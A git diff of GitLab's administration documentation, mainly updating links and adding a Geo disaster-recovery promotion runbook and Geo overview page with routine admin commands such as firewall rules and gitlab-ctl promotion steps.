-|**[LDAP group sync](auth/ldap/index.md#group-sync-starter-only)**<br>GitLab Enterprise Edition gives admins the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Starter+||
-|**[LDAP group sync filters](auth/ldap/index.md#group-sync-starter-only)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions.|Premium+||
+|**[Lock project membership to group](../user/group/index.md#member-lock)**<br>Group owners can prevent new members from being added to projects within a group.|Starter+|✓|
+|**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives admins the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Starter+||
+|**[LDAP group sync filters](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions.|Premium+||
|**[Audit logs](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives admins the ability to view any modifications made within the GitLab server in an advanced audit log system, so you can control, analyze, and track every change.|Premium+||
|**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance.|Premium+||
|**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. |Ultimate||
-|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners-premium) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-ci-configuration-path)**<br> GitLab Silver and Premium users can leverage GitLab's cross-project YAML configuration's to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+||
+|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-ci-configuration-path)**<br> GitLab Silver and Premium users can leverage GitLab's cross-project YAML configuration's to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+||
diff --git a/doc/administration/database_load_balancing.md b/doc/administration/database_load_balancing.md
index 0f566fcc114..36ef905fd90 100644
--- a/doc/administration/database_load_balancing.md
+++ b/doc/administration/database_load_balancing.md
@@ -221,7 +221,7 @@ without it immediately leading to errors being presented to the users.
## Logging
The load balancer logs various events in
-[`database_load_balancing.log`](logs.md#database_load_balancinglog-premium-only), such as
+[`database_load_balancing.log`](logs.md#database_load_balancinglog), such as
- When a host is marked as offline
- When a host comes back online
diff --git a/doc/administration/environment_variables.md b/doc/administration/environment_variables.md
index ebc3848017f..d48a47e9645 100644
--- a/doc/administration/environment_variables.md
+++ b/doc/administration/environment_variables.md
@@ -32,7 +32,7 @@ Variable | Type | Description
`GITLAB_EMAIL_SUBJECT_SUFFIX` | string | The e-mail subject suffix used in e-mails sent by GitLab
`GITLAB_UNICORN_MEMORY_MIN` | integer | The minimum memory threshold (in bytes) for the Unicorn worker killer
`GITLAB_UNICORN_MEMORY_MAX` | integer | The maximum memory threshold (in bytes) for the Unicorn worker killer
-`GITLAB_SHARED_RUNNERS_REGISTRATION_TOKEN` | string | Sets the initial registration token used for GitLab Runners
+`GITLAB_SHARED_RUNNERS_REGISTRATION_TOKEN` | string | Sets the initial registration token used for runners
`UNSTRUCTURED_RAILS_LOG` | string | Enables the unstructured log in addition to JSON logs (defaults to `true`)
## Complete database variables
diff --git a/doc/administration/feature_flags.md b/doc/administration/feature_flags.md
index 7cc7692975a..a8a14063f26 100644
--- a/doc/administration/feature_flags.md
+++ b/doc/administration/feature_flags.md
@@ -1,7 +1,7 @@
---
-stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
type: reference
description: "GitLab administrator: enable and disable GitLab features deployed behind feature flags"
---
diff --git a/doc/administration/file_hooks.md b/doc/administration/file_hooks.md
index c0b31769e7f..a6610188381 100644
--- a/doc/administration/file_hooks.md
+++ b/doc/administration/file_hooks.md
@@ -71,9 +71,9 @@ Below is an example that will only response on the event `project_create` and
will inform the admins from the GitLab instance that a new project has been created.
```ruby
+#!/opt/gitlab/embedded/bin/ruby
# By using the embedded ruby version we eliminate the possibility that our chosen language
# would be unavailable from
-#!/opt/gitlab/embedded/bin/ruby
require 'json'
require 'mail'
diff --git a/doc/administration/geo/disaster_recovery/bring_primary_back.md b/doc/administration/geo/disaster_recovery/bring_primary_back.md
index 3b7c7fd549c..83081e2cef6 100644
--- a/doc/administration/geo/disaster_recovery/bring_primary_back.md
+++ b/doc/administration/geo/disaster_recovery/bring_primary_back.md
@@ -21,7 +21,7 @@ If you have any doubts about the consistency of the data on this node, we recomm
Since the former **primary** node will be out of sync with the current **primary** node, the first step is to bring the former **primary** node up to date. Note, deletion of data stored on disk like
repositories and uploads will not be replayed when bringing the former **primary** node back
into sync, which may result in increased disk usage.
-Alternatively, you can [set up a new **secondary** GitLab instance](../replication/index.md#setup-instructions) to avoid this.
+Alternatively, you can [set up a new **secondary** GitLab instance](../setup/index.md) to avoid this.
To bring the former **primary** node up to date:
@@ -37,7 +37,7 @@ To bring the former **primary** node up to date:
you need to undo those steps now. For Debian/Ubuntu you just need to run
`sudo systemctl enable gitlab-runsvdir`. For CentOS 6, you need to install
the GitLab instance from scratch and set it up as a **secondary** node by
- following [Setup instructions](../replication/index.md#setup-instructions). In this case, you don't need to follow the next step.
+ following [Setup instructions](../setup/index.md). In this case, you don't need to follow the next step.
NOTE: **Note:**
If you [changed the DNS records](index.md#step-4-optional-updating-the-primary-domain-dns-record)
@@ -45,12 +45,12 @@ To bring the former **primary** node up to date:
all the writes to this node](planned_failover.md#prevent-updates-to-the-primary-node)
during this procedure.
-1. [Setup database replication](../replication/database.md). Note that in this
+1. [Setup database replication](../setup/database.md). Note that in this
case, **primary** node refers to the current **primary** node, and **secondary** node refers to the
former **primary** node.
If you have lost your original **primary** node, follow the
-[setup instructions](../replication/index.md#setup-instructions) to set up a new **secondary** node.
+[setup instructions](../setup/index.md) to set up a new **secondary** node.
## Promote the **secondary** node to **primary** node
diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md
index 2d837ebb369..8862776ee1b 100644
--- a/doc/administration/geo/disaster_recovery/index.md
+++ b/doc/administration/geo/disaster_recovery/index.md
@@ -11,11 +11,13 @@ Geo replicates your database, your Git repositories, and few other assets.
We will support and replicate more data in the future, that will enable you to
failover with minimal effort, in a disaster situation.
-See [Geo current limitations](../replication/index.md#current-limitations) for more information.
+See [Geo current limitations](../index.md#current-limitations) for more information.
CAUTION: **Warning:**
Disaster recovery for multi-secondary configurations is in **Alpha**.
-For the latest updates, check the multi-secondary [Disaster Recovery epic](https://gitlab.com/groups/gitlab-org/-/epics/65).
+For the latest updates, check the [Disaster Recovery epic for complete maturity](https://gitlab.com/groups/gitlab-org/-/epics/590).
+Multi-secondary configurations require the complete re-synchronization and re-configuration of all non-promoted secondaries and
+will cause downtime.
## Promoting a **secondary** Geo node in single-secondary configurations
@@ -96,6 +98,10 @@ must disable the **primary** node.
Note the following when promoting a secondary:
+- If replication was paused on the secondary node, for example as a part of upgrading,
+ while you were running a version of GitLab lower than 13.4, you _must_
+ [enable the node via the database](../replication/troubleshooting.md#while-promoting-the-secondary-i-got-an-error-activerecordrecordinvalid)
+ before proceeding.
- A new **secondary** should not be added at this time. If you want to add a new
**secondary**, do this after you have completed the entire process of promoting
the **secondary** to the **primary**.
@@ -123,28 +129,23 @@ Note the following when promoting a secondary:
```
1. Promote the **secondary** node to the **primary** node.
-
- Before promoting a secondary node to primary, preflight checks should be run. They can be run separately or along with the promotion script.
-
+
To promote the secondary node to primary along with preflight checks:
```shell
gitlab-ctl promote-to-primary-node
```
- CAUTION: **Warning:**
- Skipping preflight checks will promote the secondary to a primary without any further confirmation!
-
- If you have already run the [preflight checks](planned_failover.md#preflight-checks) or don't want to run them, you can skip preflight checks with:
+ If you have already run the [preflight checks](planned_failover.md#preflight-checks) separately or don't want to run them, you can skip preflight checks with:
```shell
gitlab-ctl promote-to-primary-node --skip-preflight-check
```
- You can also run preflight checks separately:
+ You can also promote the secondary node to primary **without any further confirmation**, even when preflight checks fail:
```shell
- gitlab-ctl promotion-preflight-checks
+ gitlab-ctl promote-to-primary-node --force
```
1. Verify you can connect to the newly promoted **primary** node using the URL used
@@ -321,7 +322,7 @@ secondary domain, like changing Git remotes and API URLs.
Promoting a **secondary** node to **primary** node using the process above does not enable
Geo on the new **primary** node.
-To bring a new **secondary** node online, follow the [Geo setup instructions](../replication/index.md#setup-instructions).
+To bring a new **secondary** node online, follow the [Geo setup instructions](../index.md#setup-instructions).
### Step 6. (Optional) Removing the secondary's tracking database
@@ -374,7 +375,7 @@ and after that you also need two extra steps.
gitlab_rails['auto_migrate'] = false
```
- (For more details about these settings you can read [Configure the primary server](../replication/database.md#step-1-configure-the-primary-server))
+ (For more details about these settings you can read [Configure the primary server](../setup/database.md#step-1-configure-the-primary-server))
1. Save the file and reconfigure GitLab for the database listen changes and
the replication slot changes to be applied.
@@ -407,21 +408,9 @@ and after that you also need two extra steps.
### Step 2. Initiate the replication process
Now we need to make each **secondary** node listen to changes on the new **primary** node. To do that you need
-to [initiate the replication process](../replication/database.md#step-3-initiate-the-replication-process) again but this time
+to [initiate the replication process](../setup/database.md#step-3-initiate-the-replication-process) again but this time
for another **primary** node. All the old replication settings will be overwritten.
## Troubleshooting
-### I followed the disaster recovery instructions and now two-factor auth is broken
-
-The setup instructions for Geo prior to 10.5 failed to replicate the
-`otp_key_base` secret, which is used to encrypt the two-factor authentication
-secrets stored in the database. If it differs between **primary** and **secondary**
-nodes, users with two-factor authentication enabled won't be able to log in
-after a failover.
-
-If you still have access to the old **primary** node, you can follow the
-instructions in the
-[Upgrading to GitLab 10.5](../replication/version_specific_updates.md#updating-to-gitlab-105)
-section to resolve the error. Otherwise, the secret is lost and you'll need to
-[reset two-factor authentication for all users](../../../security/two_factor_authentication.md#disabling-2fa-for-everyone).
+This section was moved to [another location](../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node).
diff --git a/doc/administration/geo/disaster_recovery/planned_failover.md b/doc/administration/geo/disaster_recovery/planned_failover.md
index a0cf263a762..9b9c386652c 100644
--- a/doc/administration/geo/disaster_recovery/planned_failover.md
+++ b/doc/administration/geo/disaster_recovery/planned_failover.md
@@ -27,7 +27,7 @@ have a high degree of confidence in being able to perform them accurately.
## Not all data is automatically replicated
-If you are using any GitLab features that Geo [doesn't support](../replication/index.md#current-limitations),
+If you are using any GitLab features that Geo [doesn't support](../index.md#current-limitations),
you must make separate provisions to ensure that the **secondary** node has an
up-to-date copy of any data associated with that feature. This may extend the
required scheduled maintenance period significantly.
@@ -51,12 +51,6 @@ Run this command to list out all preflight checks and automatically check if rep
gitlab-ctl promotion-preflight-checks
```
-You can run this command in `force` mode to promote to primary even if preflight checks fail:
-
-```shell
-sudo gitlab-ctl promotion-preflight-checks --force
-```
-
Each step is described in more detail below.
### Object storage
diff --git a/doc/administration/geo/disaster_recovery/promotion_runbook.md b/doc/administration/geo/disaster_recovery/promotion_runbook.md
new file mode 100644
index 00000000000..fb2353513df
--- /dev/null
+++ b/doc/administration/geo/disaster_recovery/promotion_runbook.md
@@ -0,0 +1,269 @@
+---
+stage: Enablement
+group: Geo
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: howto
+---
+
+CAUTION: **Caution:**
+This runbook is in **alpha**. For complete, production-ready documentation, see the
+[disaster recovery documentation](index.md).
+
+# Disaster Recovery (Geo) promotion runbooks **(PREMIUM ONLY)**
+
+## Geo planned failover runbook 1
+
+| Component | Configuration |
+| ----------- | --------------- |
+| PostgreSQL | Omnibus-managed |
+| Geo site | Single-node |
+| Secondaries | One |
+
+This runbook will guide you through a planned failover of a single-node Geo site
+with one secondary. The following general architecture is assumed:
+
+```mermaid
+graph TD
+ subgraph main[Geo deployment]
+ subgraph Primary[Primary site]
+ Node_1[(GitLab node)]
+ end
+ subgraph Secondary1[Secondary site]
+ Node_2[(GitLab node)]
+ end
+ end
+```
+
+This guide will result in the following:
+
+1. An offline primary.
+1. A promoted secondary that is now the new primary.
+
+What is not covered:
+
+1. Re-adding the old **primary** as a secondary.
+1. Adding a new secondary.
+
+### Preparation
+
+NOTE: **Note:**
+Before following any of those steps, make sure you have `root` access to the
+**secondary** to promote it, since there isn't provided an automated way to
+promote a Geo replica and perform a failover.
+
+On the **secondary** node, navigate to the **Admin Area > Geo** dashboard to
+review its status. Replicated objects (shown in green) should be close to 100%,
+and there should be no failures (shown in red). If a large proportion of
+objects aren't yet replicated (shown in gray), consider giving the node more
+time to complete.
+
+![Replication status](img/replication-status.png)
+
+If any objects are failing to replicate, this should be investigated before
+scheduling the maintenance window. After a planned failover, anything that
+failed to replicate will be **lost**.
+
+You can use the
+[Geo status API](../../../api/geo_nodes.md#retrieve-project-sync-or-verification-failures-that-occurred-on-the-current-node)
+to review failed objects and the reasons for failure.
+A common cause of replication failures is the data being missing on the
+**primary** node - you can resolve these failures by restoring the data from backup,
+or removing references to the missing data.
+
+The maintenance window won't end until Geo replication and verification is
+completely finished. To keep the window as short as possible, you should
+ensure these processes are close to 100% as possible during active use.
+
+If the **secondary** node is still replicating data from the **primary** node,
+follow these steps to avoid unnecessary data loss:
+
+1. Until a [read-only mode](https://gitlab.com/gitlab-org/gitlab/-/issues/14609)
+ is implemented, updates must be prevented from happening manually to the
+ **primary**. Note that your **secondary** node still needs read-only
+ access to the **primary** node during the maintenance window:
+
+ 1. At the scheduled time, using your cloud provider or your node's firewall, block
+ all HTTP, HTTPS and SSH traffic to/from the **primary** node, **except** for your IP and
+ the **secondary** node's IP.
+
+ For instance, you can run the following commands on the **primary** node:
+
+ ```shell
+ sudo iptables -A INPUT -p tcp -s <secondary_node_ip> --destination-port 22 -j ACCEPT
+ sudo iptables -A INPUT -p tcp -s <your_ip> --destination-port 22 -j ACCEPT
+ sudo iptables -A INPUT --destination-port 22 -j REJECT
+
+ sudo iptables -A INPUT -p tcp -s <secondary_node_ip> --destination-port 80 -j ACCEPT
+ sudo iptables -A INPUT -p tcp -s <your_ip> --destination-port 80 -j ACCEPT
+ sudo iptables -A INPUT --tcp-dport 80 -j REJECT
+
+ sudo iptables -A INPUT -p tcp -s <secondary_node_ip> --destination-port 443 -j ACCEPT
+ sudo iptables -A INPUT -p tcp -s <your_ip> --destination-port 443 -j ACCEPT
+ sudo iptables -A INPUT --tcp-dport 443 -j REJECT
+ ```
+
+ From this point, users will be unable to view their data or make changes on the
+ **primary** node. They will also be unable to log in to the **secondary** node.
+ However, existing sessions will work for the remainder of the maintenance period, and
+ public data will be accessible throughout.
+
+ 1. Verify the **primary** node is blocked to HTTP traffic by visiting it in browser via
+ another IP. The server should refuse connection.
+
+ 1. Verify the **primary** node is blocked to Git over SSH traffic by attempting to pull an
+ existing Git repository with an SSH remote URL. The server should refuse
+ connection.
+
+ 1. On the **primary** node, disable non-Geo periodic background jobs by navigating
+ to **Admin Area > Monitoring > Background Jobs > Cron**, clicking `Disable All`,
+ and then clicking `Enable` for the `geo_sidekiq_cron_config_worker` cron job.
+ This job will re-enable several other cron jobs that are essential for planned
+ failover to complete successfully.
+
+1. Finish replicating and verifying all data:
+
+ CAUTION: **Caution:**
+ Not all data is automatically replicated. Read more about
+ [what is excluded](planned_failover.md#not-all-data-is-automatically-replicated).
+
+ 1. If you are manually replicating any
+ [data not managed by Geo](../replication/datatypes.md#limitations-on-replicationverification),
+ trigger the final replication process now.
+ 1. On the **primary** node, navigate to **Admin Area > Monitoring > Background Jobs > Queues**
+ and wait for all queues except those with `geo` in the name to drop to 0.
+ These queues contain work that has been submitted by your users; failing over
+ before it is completed will cause the work to be lost.
+ 1. On the **primary** node, navigate to **Admin Area > Geo** and wait for the
+ following conditions to be true of the **secondary** node you are failing over to:
+ - All replication meters to each 100% replicated, 0% failures.
+ - All verification meters reach 100% verified, 0% failures.
+ - Database replication lag is 0ms.
+ - The Geo log cursor is up to date (0 events behind).
+
+ 1. On the **secondary** node, navigate to **Admin Area > Monitoring > Background Jobs > Queues**
+ and wait for all the `geo` queues to drop to 0 queued and 0 running jobs.
+ 1. On the **secondary** node, use [these instructions](../../raketasks/check.md)
+ to verify the integrity of CI artifacts, LFS objects, and uploads in file
+ storage.
+
+ At this point, your **secondary** node will contain an up-to-date copy of everything the
+ **primary** node has, meaning nothing will be lost when you fail over.
+
+1. In this final step, you need to permanently disable the **primary** node.
+
+ CAUTION: **Caution:**
+ When the **primary** node goes offline, there may be data saved on the **primary** node
+ that has not been replicated to the **secondary** node. This data should be treated
+ as lost if you proceed.
+
+ TIP: **Tip:**
+ If you plan to [update the **primary** domain DNS record](index.md#step-4-optional-updating-the-primary-domain-dns-record),
+ you may wish to lower the TTL now to speed up propagation.
+
+ When performing a failover, we want to avoid a split-brain situation where
+ writes can occur in two different GitLab instances. So to prepare for the
+ failover, you must disable the **primary** node:
+
+ - If you have SSH access to the **primary** node, stop and disable GitLab:
+
+ ```shell
+ sudo gitlab-ctl stop
+ ```
+
+ Prevent GitLab from starting up again if the server unexpectedly reboots:
+
+ ```shell
+ sudo systemctl disable gitlab-runsvdir
+ ```
+
+ NOTE: **Note:**
+ (**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being
+ started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)).
+ It may be safest to uninstall the GitLab package completely with `sudo yum remove gitlab-ee`.
+
+ NOTE: **Note:**
+ (**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu
+ or any other distribution based on the Upstart init system, you can prevent GitLab
+ from starting if the machine reboots as `root` with
+ `initctl stop gitlab-runsvvdir && echo 'manual' > /etc/init/gitlab-runsvdir.override && initctl reload-configuration`.
+
+ - If you do not have SSH access to the **primary** node, take the machine offline and
+ prevent it from rebooting. Since there are many ways you may prefer to accomplish
+ this, we will avoid a single recommendation. You may need to:
+
+ - Reconfigure the load balancers.
+ - Change DNS records (for example, point the **primary** DNS record to the **secondary**
+ node in order to stop usage of the **primary** node).
+ - Stop the virtual servers.
+ - Block traffic through a firewall.
+ - Revoke object storage permissions from the **primary** node.
+ - Physically disconnect a machine.
+
+### Promoting the **secondary** node
+
+Note the following when promoting a secondary:
+
+- A new **secondary** should not be added at this time. If you want to add a new
+ **secondary**, do this after you have completed the entire process of promoting
+ the **secondary** to the **primary**.
+- If you encounter an `ActiveRecord::RecordInvalid: Validation failed: Name has already been taken`
+ error during this process, read
+ [the troubleshooting advice](../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node).
+
+To promote the secondary node:
+
+1. SSH in to your **secondary** node and login as root:
+
+ ```shell
+ sudo -i
+ ```
+
+1. Edit `/etc/gitlab/gitlab.rb` to reflect its new status as **primary** by
+ removing any lines that enabled the `geo_secondary_role`:
+
+ ```ruby
+ ## In pre-11.5 documentation, the role was enabled as follows. Remove this line.
+ geo_secondary_role['enable'] = true
+
+ ## In 11.5+ documentation, the role was enabled as follows. Remove this line.
+ roles ['geo_secondary_role']
+ ```
+
+1. Run the following command to list out all preflight checks and automatically
+ check if replication and verification are complete before scheduling a planned
+ failover to ensure the process will go smoothly:
+
+ ```shell
+ gitlab-ctl promotion-preflight-checks
+ ```
+
+1. Promote the **secondary**:
+
+ ```shell
+ gitlab-ctl promote-to-primary-node
+ ```
+
+ If you have already run the [preflight checks](planned_failover.md#preflight-checks)
+ or don't want to run them, you can skip them:
+
+ ```shell
+ gitlab-ctl promote-to-primary-node --skip-preflight-check
+ ```
+
+ You can also promote the secondary node to primary **without any further confirmation**, even when preflight checks fail:
+
+ ```shell
+ sudo gitlab-ctl promote-to-primary-node --force
+ ```
+
+1. Verify you can connect to the newly promoted **primary** node using the URL used
+ previously for the **secondary** node.
+
+ If successful, the **secondary** node has now been promoted to the **primary** node.
+
+### Next steps
+
+To regain geographic redundancy as quickly as possible, you should
+[add a new **secondary** node](../setup/index.md). To
+do that, you can re-add the old **primary** as a new secondary and bring it back
+online.
diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md
new file mode 100644
index 00000000000..6fdf213ac78
--- /dev/null
+++ b/doc/administration/geo/index.md
@@ -0,0 +1,295 @@
+---
+stage: Enablement
+group: Geo
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: howto
+---
+
+# Geo **(PREMIUM ONLY)**
+
+> - Introduced in GitLab Enterprise Edition 8.9.
+> - Using Geo in combination with
+> [multi-node architectures](../reference_architectures/index.md)
+> is considered **Generally Available** (GA) in
+> [GitLab Premium](https://about.gitlab.com/pricing/) 10.4.
+
+Geo is the solution for widely distributed development teams and for providing a warm-standby as part of a disaster recovery strategy.
+
+## Overview
+
+CAUTION: **Caution:**
+Geo undergoes significant changes from release to release. Upgrades **are** supported and [documented](#updating-geo), but you should ensure that you're using the right version of the documentation for your installation.
+
+Fetching large repositories can take a long time for teams located far from a single GitLab instance.
+
+Geo provides local, read-only instances of your GitLab instances. This can reduce the time it takes
+to clone and fetch large repositories, speeding up development.
+
+For a video introduction to Geo, see [Introduction to GitLab Geo - GitLab Features](https://www.youtube.com/watch?v=-HDLxSjEh6w).
+
+To make sure you're using the right version of the documentation, navigate to [the source version of this page on GitLab.com](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/index.md) and choose the appropriate release from the **Switch branch/tag** dropdown. For example, [`v11.2.3-ee`](https://gitlab.com/gitlab-org/gitlab/blob/v11.2.3-ee/doc/administration/geo/index.md).
+
+## Use cases
+
+Implementing Geo provides the following benefits:
+
+- Reduce from minutes to seconds the time taken for your distributed developers to clone and fetch large repositories and projects.
+- Enable all of your developers to contribute ideas and work in parallel, no matter where they are.
+- Balance the read-only load between your **primary** and **secondary** nodes.
+
+In addition, it:
+
+- Can be used for cloning and fetching projects, in addition to reading any data available in the GitLab web interface (see [current limitations](#current-limitations)).
+- Overcomes slow connections between distant offices, saving time by improving speed for distributed teams.
+- Helps reducing the loading time for automated tasks, custom integrations, and internal workflows.
+- Can quickly fail over to a **secondary** node in a [disaster recovery](disaster_recovery/index.md) scenario.
+- Allows [planned failover](disaster_recovery/planned_failover.md) to a **secondary** node.
+
+Geo provides:
+
+- Read-only **secondary** nodes: Maintain one **primary** GitLab node while still enabling read-only **secondary** nodes for each of your distributed teams.
+- Authentication system hooks: **Secondary** nodes receives all authentication data (like user accounts and logins) from the **primary** instance.
+- An intuitive UI: **Secondary** nodes utilize the same web interface your team has grown accustomed to. In addition, there are visual notifications that block write operations and make it clear that a user is on a **secondary** node.
+
+## How it works
+
+Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This will make working with large repositories over large distances much faster.
+
+![Geo overview](replication/img/geo_overview.png)
+
+When Geo is enabled, the:
+
+- Original instance is known as the **primary** node.
+- Replicated read-only nodes are known as **secondary** nodes.
+
+Keep in mind that:
+
+- **Secondary** nodes talk to the **primary** node to:
+ - Get user data for logins (API).
+ - Replicate repositories, LFS Objects, and Attachments (HTTPS + JWT).
+- Since GitLab Premium 10.0, the **primary** node no longer talks to **secondary** nodes to notify for changes (API).
+- Pushing directly to a **secondary** node (for both HTTP and SSH, including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3.
+- There are [limitations](#current-limitations) in the current implementation.
+
+### Architecture
+
+The following diagram illustrates the underlying architecture of Geo.
+
+![Geo architecture](replication/img/geo_architecture.png)
+
+In this diagram:
+
+- There is the **primary** node and the details of one **secondary** node.
+- Writes to the database can only be performed on the **primary** node. A **secondary** node receives database
+ updates via PostgreSQL streaming replication.
+- If present, the [LDAP server](#ldap) should be configured to replicate for [Disaster Recovery](disaster_recovery/index.md) scenarios.
+- A **secondary** node performs different type of synchronizations against the **primary** node, using a special
+ authorization protected by JWT:
+ - Repositories are cloned/updated via Git over HTTPS.
+ - Attachments, LFS objects, and other files are downloaded via HTTPS using a private API endpoint.
+
+From the perspective of a user performing Git operations:
+
+- The **primary** node behaves as a full read-write GitLab instance.
+- **Secondary** nodes are read-only but proxy Git push operations to the **primary** node. This makes **secondary** nodes appear to support push operations themselves.
+
+To simplify the diagram, some necessary components are omitted. Note that:
+
+- Git over SSH requires [`gitlab-shell`](https://gitlab.com/gitlab-org/gitlab-shell) and OpenSSH.
+- Git over HTTPS required [`gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse).
+
+Note that a **secondary** node needs two different PostgreSQL databases:
+
+- A read-only database instance that streams data from the main GitLab database.
+- [Another database instance](#geo-tracking-database) used internally by the **secondary** node to record what data has been replicated.
+
+In **secondary** nodes, there is an additional daemon: [Geo Log Cursor](#geo-log-cursor).
+
+## Requirements for running Geo
+
+The following are required to run Geo:
+
+- An operating system that supports OpenSSH 6.9+ (needed for
+ [fast lookup of authorized SSH keys in the database](../operations/fast_ssh_key_lookup.md))
+ The following operating systems are known to ship with a current version of OpenSSH:
+ - [CentOS](https://www.centos.org) 7.4+
+ - [Ubuntu](https://ubuntu.com) 16.04+
+- PostgreSQL 11+ with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication)
+- Git 2.9+
+- All nodes must run the same GitLab version.
+
+Additionally, check GitLab's [minimum requirements](../../install/requirements.md),
+and we recommend you use:
+
+- At least GitLab Enterprise Edition 10.0 for basic Geo features.
+- The latest version for a better experience.
+
+### Firewall rules
+
+The following table lists basic ports that must be open between the **primary** and **secondary** nodes for Geo.
+
+| **Primary** node | **Secondary** node | Protocol |
+|:-----------------|:-------------------|:-------------|
+| 80 | 80 | HTTP |
+| 443 | 443 | TCP or HTTPS |
+| 22 | 22 | TCP |
+| 5432 | | PostgreSQL |
+
+See the full list of ports used by GitLab in [Package defaults](https://docs.gitlab.com/omnibus/package-information/defaults.html)
+
+NOTE: **Note:**
+[Web terminal](../../ci/environments/index.md#web-terminals) support requires your load balancer to correctly handle WebSocket connections.
+When using HTTP or HTTPS proxying, your load balancer must be configured to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](../integration/terminal.md) integration guide for more details.
+
+NOTE: **Note:**
+When using HTTPS protocol for port 443, you will need to add an SSL certificate to the load balancers.
+If you wish to terminate SSL at the GitLab application server instead, use TCP protocol.
+
+### LDAP
+
+We recommend that if you use LDAP on your **primary** node, you also set up secondary LDAP servers on each **secondary** node. Otherwise, users will not be able to perform Git operations over HTTP(s) on the **secondary** node using HTTP Basic Authentication. However, Git via SSH and personal access tokens will still work.
+
+NOTE: **Note:**
+It is possible for all **secondary** nodes to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server will be available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** node is promoted to be a **primary** node.
+
+Check for instructions on how to set up replication in your LDAP service. Instructions will be different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html).
+
+### Geo Tracking Database
+
+The tracking database instance is used as metadata to control what needs to be updated on the disk of the local instance. For example:
+
+- Download new assets.
+- Fetch new LFS Objects.
+- Fetch changes from a repository that has recently been updated.
+
+Because the replicated database instance is read-only, we need this additional database instance for each **secondary** node.
+
+### Geo Log Cursor
+
+This daemon:
+
+- Reads a log of events replicated by the **primary** node to the **secondary** database instance.
+- Updates the Geo Tracking Database instance with changes that need to be executed.
+
+When something is marked to be updated in the tracking database instance, asynchronous jobs running on the **secondary** node will execute the required operations and update the state.
+
+This new architecture allows GitLab to be resilient to connectivity issues between the nodes. It doesn't matter how long the **secondary** node is disconnected from the **primary** node as it will be able to replay all the events in the correct order and become synchronized with the **primary** node again.
+
+## Setup instructions
+
+For setup instructions, see [Setting up Geo](setup/index.md).
+
+## Post-installation documentation
+
+After installing GitLab on the **secondary** nodes and performing the initial configuration, see the following documentation for post-installation information.
+
+### Configuring Geo
+
+For information on configuring Geo, see [Geo configuration](replication/configuration.md).
+
+### Updating Geo
+
+For information on how to update your Geo nodes to the latest GitLab version, see [Updating the Geo nodes](replication/updating_the_geo_nodes.md).
+
+### Pausing and resuming replication
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35913) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
+
+In some circumstances, like during [upgrades](replication/updating_the_geo_nodes.md) or a [planned failover](disaster_recovery/planned_failover.md), it is desirable to pause replication between the primary and secondary.
+
+Pausing and resuming replication is done via a command line tool from the secondary node.
+
+**To Pause: (from secondary)**
+
+```shell
+gitlab-ctl geo-replication-pause
+```
+
+**To Resume: (from secondary)**
+
+```shell
+gitlab-ctl geo-replication-resume
+```
+
+### Configuring Geo for multiple nodes
+
+For information on configuring Geo for multiple nodes, see [Geo for multiple servers](replication/multiple_servers.md).
+
+### Configuring Geo with Object Storage
+
+For information on configuring Geo with object storage, see [Geo with Object storage](replication/object_storage.md).
+
+### Disaster Recovery
